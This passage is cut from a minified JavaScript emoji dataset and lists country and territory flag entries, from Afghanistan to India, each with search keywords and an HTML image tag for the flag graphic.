0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddeb" src="1f1e6-1f1eb.png"/>',fitzpatrick_scale:!1,category:"flags"},aland_islands:{keywords:["\xc5land","islands","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddfd" src="1f1e6-1f1fd.png"/>',fitzpatrick_scale:!1,category:"flags"},albania:{keywords:["al","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf1" src="1f1e6-1f1f1.png"/>',fitzpatrick_scale:!1,category:"flags"},algeria:{keywords:["dz","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddff" src="1f1e9-1f1ff.png"/>',fitzpatrick_scale:!1,category:"flags"},american_samoa:{keywords:["american","ws","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf8" src="1f1e6-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},andorra:{keywords:["ad","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\udde9" src="1f1e6-1f1e9.png"/>',fitzpatrick_scale:!1,category:"flags"},angola:{keywords:["ao","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf4" src="1f1e6-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},anguilla:{keywords:["ai","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddee" src="1f1e6-1f1ee.png"/>',fitzpatrick_scale:!1,category:"flags"},antarctica:{keywords:["aq","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf6" src="1f1e6-1f1f6.png"/>',fitzpatrick_scale:!1,category:"flags"},antigua_barbuda:{keywords:["antigua","barbuda","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddec" src="1f1e6-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},argentina:{keywords:["ar","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf7" src="1f1e6-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},armenia:{keywords:["am","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf2" src="1f1e6-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},aruba:{keywords:["aw","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddfc" src="1f1e6-1f1fc.png"/>',fitzpatrick_scale:!1,category:"flags"},australia:{keywords:["au","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddfa" src="1f1e6-1f1fa.png"/>',fitzpatrick_scale:!1,category:"flags"},austria:{keywords:["at","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddf9" src="1f1e6-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},azerbaijan:{keywords:["az","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddff" src="1f1e6-1f1ff.png"/>',fitzpatrick_scale:!1,category:"flags"},bahamas:{keywords:["bs","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf8" src="1f1e7-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},bahrain:{keywords:["bh","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\udded" src="1f1e7-1f1ed.png"/>',fitzpatrick_scale:!1,category:"flags"},bangladesh:{keywords:["bd","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\udde9" src="1f1e7-1f1e9.png"/>',fitzpatrick_scale:!1,category:"flags"},barbados:{keywords:["bb","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\udde7" src="1f1e7-1f1e7.png"/>',fitzpatrick_scale:!1,category:"flags"},belarus:{keywords:["by","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddfe" src="1f1e7-1f1fe.png"/>',fitzpatrick_scale:!1,category:"flags"},belgium:{keywords:["be","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddea" src="1f1e7-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},belize:{keywords:["bz","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddff" src="1f1e7-1f1ff.png"/>',fitzpatrick_scale:!1,category:"flags"},benin:{keywords:["bj","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddef" src="1f1e7-1f1ef.png"/>',fitzpatrick_scale:!1,category:"flags"},bermuda:{keywords:["bm","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf2" src="1f1e7-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},bhutan:{keywords:["bt","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf9" src="1f1e7-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},bolivia:{keywords:["bo","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf4" src="1f1e7-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},caribbean_netherlands:{keywords:["bonaire","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf6" src="1f1e7-1f1f6.png"/>',fitzpatrick_scale:!1,category:"flags"},bosnia_herzegovina:{keywords:["bosnia","herzegovina","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\udde6" src="1f1e7-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},botswana:{keywords:["bw","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddfc" src="1f1e7-1f1fc.png"/>',fitzpatrick_scale:!1,category:"flags"},brazil:{keywords:["br","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf7" src="1f1e7-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},british_indian_ocean_territory:{keywords:["british","indian","ocean","territory","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf4" src="1f1ee-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},british_virgin_islands:{keywords:["british","virgin","islands","bvi","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\uddec" src="1f1fb-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},brunei:{keywords:["bn","darussalam","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddf3" src="1f1e7-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},bulgaria:{keywords:["bg","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddec" src="1f1e7-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},burkina_faso:{keywords:["burkina","faso","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddeb" src="1f1e7-1f1eb.png"/>',fitzpatrick_scale:!1,category:"flags"},burundi:{keywords:["bi","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde7\ud83c\uddee" src="1f1e7-1f1ee.png"/>',fitzpatrick_scale:!1,category:"flags"},cape_verde:{keywords:["cabo","verde","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddfb" src="1f1e8-1f1fb.png"/>',fitzpatrick_scale:!1,category:"flags"},cambodia:{keywords:["kh","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\udded" src="1f1f0-1f1ed.png"/>',fitzpatrick_scale:!1,category:"flags"},cameroon:{keywords:["cm","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf2" src="1f1e8-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},canada:{keywords:["ca","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\udde6" src="1f1e8-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},canary_islands:{keywords:["canary","islands","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\udde8" src="1f1ee-1f1e8.png"/>',fitzpatrick_scale:!1,category:"flags"},cayman_islands:{keywords:["cayman","islands","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddfe" src="1f1f0-1f1fe.png"/>',fitzpatrick_scale:!1,category:"flags"},central_african_republic:{keywords:["central","african","republic","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddeb" src="1f1e8-1f1eb.png"/>',fitzpatrick_scale:!1,category:"flags"},chad:{keywords:["td","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\udde9" src="1f1f9-1f1e9.png"/>',fitzpatrick_scale:!1,category:"flags"},chile:{keywords:["flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf1" src="1f1e8-1f1f1.png"/>',fitzpatrick_scale:!1,category:"flags"},cn:{keywords:["china","chinese","prc","flag","country","nation","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf3" src="1f1e8-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},christmas_island:{keywords:["christmas","island","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddfd" src="1f1e8-1f1fd.png"/>',fitzpatrick_scale:!1,category:"flags"},cocos_islands:{keywords:["cocos","keeling","islands","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\udde8" src="1f1e8-1f1e8.png"/>',fitzpatrick_scale:!1,category:"flags"},colombia:{keywords:["co","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf4" src="1f1e8-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},comoros:{keywords:["km","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf0\ud83c\uddf2" src="1f1f0-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},congo_brazzaville:{keywords:["congo","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddec" src="1f1e8-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},congo_kinshasa:{keywords:["congo","democratic","republic","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\udde9" src="1f1e8-1f1e9.png"/>',fitzpatrick_scale:!1,category:"flags"},cook_islands:{keywords:["cook","islands","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf0" src="1f1e8-1f1f0.png"/>',fitzpatrick_scale:!1,category:"flags"},costa_rica:{keywords:["costa","rica","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddf7" src="1f1e8-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},croatia:{keywords:["hr","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udded\ud83c\uddf7" src="1f1ed-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},cuba:{keywords:["cu","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddfa" src="1f1e8-1f1fa.png"/>',fitzpatrick_scale:!1,category:"flags"},curacao:{keywords:["cura\xe7ao","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddfc" src="1f1e8-1f1fc.png"/>',fitzpatrick_scale:!1,category:"flags"},cyprus:{keywords:["cy","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddfe" src="1f1e8-1f1fe.png"/>',fitzpatrick_scale:!1,category:"flags"},czech_republic:{keywords:["cz","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde8\ud83c\uddff" src="1f1e8-1f1ff.png"/>',fitzpatrick_scale:!1,category:"flags"},denmark:{keywords:["dk","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddf0" src="1f1e9-1f1f0.png"/>',fitzpatrick_scale:!1,category:"flags"},djibouti:{keywords:["dj","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddef" src="1f1e9-1f1ef.png"/>',fitzpatrick_scale:!1,category:"flags"},dominica:{keywords:["dm","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddf2" src="1f1e9-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},dominican_republic:{keywords:["dominican","republic","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddf4" src="1f1e9-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},ecuador:{keywords:["ec","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\udde8" src="1f1ea-1f1e8.png"/>',fitzpatrick_scale:!1,category:"flags"},egypt:{keywords:["eg","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddec" src="1f1ea-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},el_salvador:{keywords:["el","salvador","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf8\ud83c\uddfb" src="1f1f8-1f1fb.png"/>',fitzpatrick_scale:!1,category:"flags"},equatorial_guinea:{keywords:["equatorial","gn","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf6" src="1f1ec-1f1f6.png"/>',fitzpatrick_scale:!1,category:"flags"},eritrea:{keywords:["er","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddf7" src="1f1ea-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},estonia:{keywords:["ee","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddea" src="1f1ea-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},ethiopia:{keywords:["et","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddf9" src="1f1ea-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},eu:{keywords:["european","union","flag","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\uddfa" src="1f1ea-1f1fa.png"/>',fitzpatrick_scale:!1,category:"flags"},falkland_islands:{keywords:["falkland","islands","malvinas","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddf0" src="1f1eb-1f1f0.png"/>',fitzpatrick_scale:!1,category:"flags"},faroe_islands:{keywords:["faroe","islands","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddf4" src="1f1eb-1f1f4.png"/>',fitzpatrick_scale:!1,category:"flags"},fiji:{keywords:["fj","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddef" src="1f1eb-1f1ef.png"/>',fitzpatrick_scale:!1,category:"flags"},finland:{keywords:["fi","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddee" src="1f1eb-1f1ee.png"/>',fitzpatrick_scale:!1,category:"flags"},fr:{keywords:["banner","flag","nation","france","french","country"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddeb\ud83c\uddf7" src="1f1eb-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},french_guiana:{keywords:["french","guiana","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddeb" src="1f1ec-1f1eb.png"/>',fitzpatrick_scale:!1,category:"flags"},french_polynesia:{keywords:["french","polynesia","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf5\ud83c\uddeb" src="1f1f5-1f1eb.png"/>',fitzpatrick_scale:!1,category:"flags"},french_southern_territories:{keywords:["french","southern","territories","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddeb" src="1f1f9-1f1eb.png"/>',fitzpatrick_scale:!1,category:"flags"},gabon:{keywords:["ga","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\udde6" src="1f1ec-1f1e6.png"/>',fitzpatrick_scale:!1,category:"flags"},gambia:{keywords:["gm","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf2" src="1f1ec-1f1f2.png"/>',fitzpatrick_scale:!1,category:"flags"},georgia:{keywords:["ge","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddea" src="1f1ec-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},de:{keywords:["german","nation","flag","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde9\ud83c\uddea" src="1f1e9-1f1ea.png"/>',fitzpatrick_scale:!1,category:"flags"},ghana:{keywords:["gh","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\udded" src="1f1ec-1f1ed.png"/>',fitzpatrick_scale:!1,category:"flags"},gibraltar:{keywords:["gi","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddee" src="1f1ec-1f1ee.png"/>',fitzpatrick_scale:!1,category:"flags"},greece:{keywords:["gr","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf7" src="1f1ec-1f1f7.png"/>',fitzpatrick_scale:!1,category:"flags"},greenland:{keywords:["gl","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf1" src="1f1ec-1f1f1.png"/>',fitzpatrick_scale:!1,category:"flags"},grenada:{keywords:["gd","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\udde9" src="1f1ec-1f1e9.png"/>',fitzpatrick_scale:!1,category:"flags"},guadeloupe:{keywords:["gp","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf5" src="1f1ec-1f1f5.png"/>',fitzpatrick_scale:!1,category:"flags"},guam:{keywords:["gu","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddfa" src="1f1ec-1f1fa.png"/>',fitzpatrick_scale:!1,category:"flags"},guatemala:{keywords:["gt","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf9" src="1f1ec-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},guernsey:{keywords:["gg","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddec" src="1f1ec-1f1ec.png"/>',fitzpatrick_scale:!1,category:"flags"},guinea:{keywords:["gn","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddf3" src="1f1ec-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},guinea_bissau:{keywords:["gw","bissau","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddfc" src="1f1ec-1f1fc.png"/>',fitzpatrick_scale:!1,category:"flags"},guyana:{keywords:["gy","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\uddfe" src="1f1ec-1f1fe.png"/>',fitzpatrick_scale:!1,category:"flags"},haiti:{keywords:["ht","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udded\ud83c\uddf9" src="1f1ed-1f1f9.png"/>',fitzpatrick_scale:!1,category:"flags"},honduras:{keywords:["hn","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udded\ud83c\uddf3" src="1f1ed-1f1f3.png"/>',fitzpatrick_scale:!1,category:"flags"},hong_kong:{keywords:["hong","kong","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udded\ud83c\uddf0" src="1f1ed-1f1f0.png"/>',fitzpatrick_scale:!1,category:"flags"},hungary:{keywords:["hu","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udded\ud83c\uddfa" src="1f1ed-1f1fa.png"/>',fitzpatrick_scale:!1,category:"flags"},iceland:{keywords:["is","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf8" src="1f1ee-1f1f8.png"/>',fitzpatrick_scale:!1,category:"flags"},india:{keywords:["in","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddee\ud83c\uddf3" 